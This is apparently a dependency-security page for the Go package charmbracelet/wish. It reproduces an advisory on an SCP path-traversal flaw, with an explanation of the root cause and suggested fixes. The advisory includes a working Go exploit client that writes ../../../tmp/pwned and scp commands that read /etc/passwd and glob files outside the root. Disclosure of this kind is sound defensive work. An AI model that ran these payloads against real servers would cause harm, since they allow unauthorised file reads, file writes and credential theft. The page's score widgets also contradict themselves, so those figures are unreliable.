go package report

Is github.com/charmbracelet/wish safe?

1 known vulnerability, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so go packages are not covered.


      cvss
      0.0
      critical

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 41st percentile of all CVEs

      xyz score
      0.0
      medium

      CyberXYZ composite out of 10

      fig. 01 — GHSA-xjvp-7243-rg9h, the advisory selected below

      // 1 advisories

      GHSA-xjvp-7243-rg9h

      CRITICALCVE-2026-41589
      // summary

      The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.

      // affected versions
      • charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
      • github.com/charmbracelet/wish — likely all v1 versions (same code pattern)
      // root cause

      The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

      func (h *fileSystemHandler) prefixed(path string) string {
          path = filepath.Clean(path)
          if strings.HasPrefix(path, h.root) {
              return path
          }
          return filepath.Join(h.root, path)
      }

      When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.

      // attack vector 1: arbitrary file write (scp -t)

      When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

      reNewFile   = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
      reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)

      The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copyfromclient.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.

      // attack vector 2: arbitrary file read (scp -f)

      When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.

      // attack vector 3: file enumeration via glob

      The Glob method passes user input containing glob metacharacters (, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.

      // proof of concept

      All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.

      // vulnerable server

      Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:

      package main
      
      import (
      	"net"
      
      	"charm.land/wish/v2"
      	"charm.land/wish/v2/scp"
      	"github.com/charmbracelet/ssh"
      )
      
      func main() {
      	handler := scp.NewFileSystemHandler("/srv/data")
      	s, _ := wish.NewServer(
      		wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
      		wish.WithMiddleware(scp.Middleware(handler, handler)),
      		// Default: accepts all connections (no auth configured)
      	)
      	s.ListenAndServe()
      }
      // write traversal — write arbitrary files outside /srv/data

      An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:

      package main
      
      import (
      	"fmt"
      	"os"
      
      	gossh "golang.org/x/crypto/ssh"
      )
      
      func main() {
      	config := &gossh.ClientConfig{
      		User:            "attacker",
      		Auth:            []gossh.AuthMethod{gossh.Password("anything")},
      		HostKeyCallback: gossh.InsecureIgnoreHostKey(),
      	}
      	client, _ := gossh.Dial("tcp", "target:2222", config)
      	session, _ := client.NewSession()
      
      	// Pipe crafted SCP protocol data into stdin
      	stdin, _ := session.StdinPipe()
      	go func() {
      		// Wait for server's NULL ack, then send traversal payload
      		buf := make([]byte, 1)
      		session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
      
      		// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
      		fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
      		// Wait for ack
      		stdin.Write([]byte("hello world\n"))
      		stdin.Write([]byte{0}) // NULL terminator
      		stdin.Close()
      	}()
      
      	// Tell the server we're uploading to "."
      	session.Run("scp -t .")
      }

      Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.

      // read traversal — read arbitrary files outside /srv/data

      No custom tooling needed. Standard scp passes the path directly:

      # Read /etc/passwd from a server whose SCP root is /srv/data
      scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

      The server resolves ../../../etc/passwd through prefixed():

      • filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"
      • Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"
      • File contents of /etc/passwd are sent to the attacker.
      // glob traversal — enumerate and read files outside /srv/data
      scp -P 2222 attacker@target:'../../../etc/pass*' ./
      // validated test output

      These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

      === RUN   TestPathTraversalWrite
          PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
      --- FAIL: TestPathTraversalWrite
      
      === RUN   TestPathTraversalWriteRecursiveDir
          PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
          PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
      --- FAIL: TestPathTraversalWriteRecursiveDir
      
      === RUN   TestPathTraversalRead
          PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
      --- FAIL: TestPathTraversalRead
      
      === RUN   TestPathTraversalGlob
          PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
      --- FAIL: TestPathTraversalGlob

      Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

      // impact

      An authenticated SSH user can:

      • Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH authorizedkeys, shell profiles, or systemd units.
      • Read arbitrary files accessible to the server process, including /etc/shadow, private keys, database credentials, and application secrets.
      • Create arbitrary directories on the filesystem.
      • Enumerate files outside the root via glob patterns.

      If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.

      // fix prefixed() to enforce root containment
      func (h *fileSystemHandler) prefixed(path string) (string, error) {
          // Force path to be relative by prepending /
          joined := filepath.Join(h.root, filepath.Clean("/"+path))
          // Verify the result is still within root
          if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
              return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
          }
          return joined, nil
      }
      // sanitize filenames in copyfromclient.go

      SCP filenames should never contain path separators or .. components:

      name := match[3] // or matches[0][2] for directories
      if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
          return fmt.Errorf("invalid filename: %q", name)
      }
      // validate info.path in getinfo or at the middleware entry point
      info.Path = filepath.Clean("/" + info.Path)
      // credit

      Evan MORVAN (evnsh) — me@evan.sh (Research) Claude Haiku (formatting the report)

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      Low
      User interaction
      None
      Scope
      Changed
      Confidentiality
      High
      Integrity
      High
      Availability
      None

      Checked 2026-09-28 at 19:47 UTC. The most recent advisory here was published 2026-04-18. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.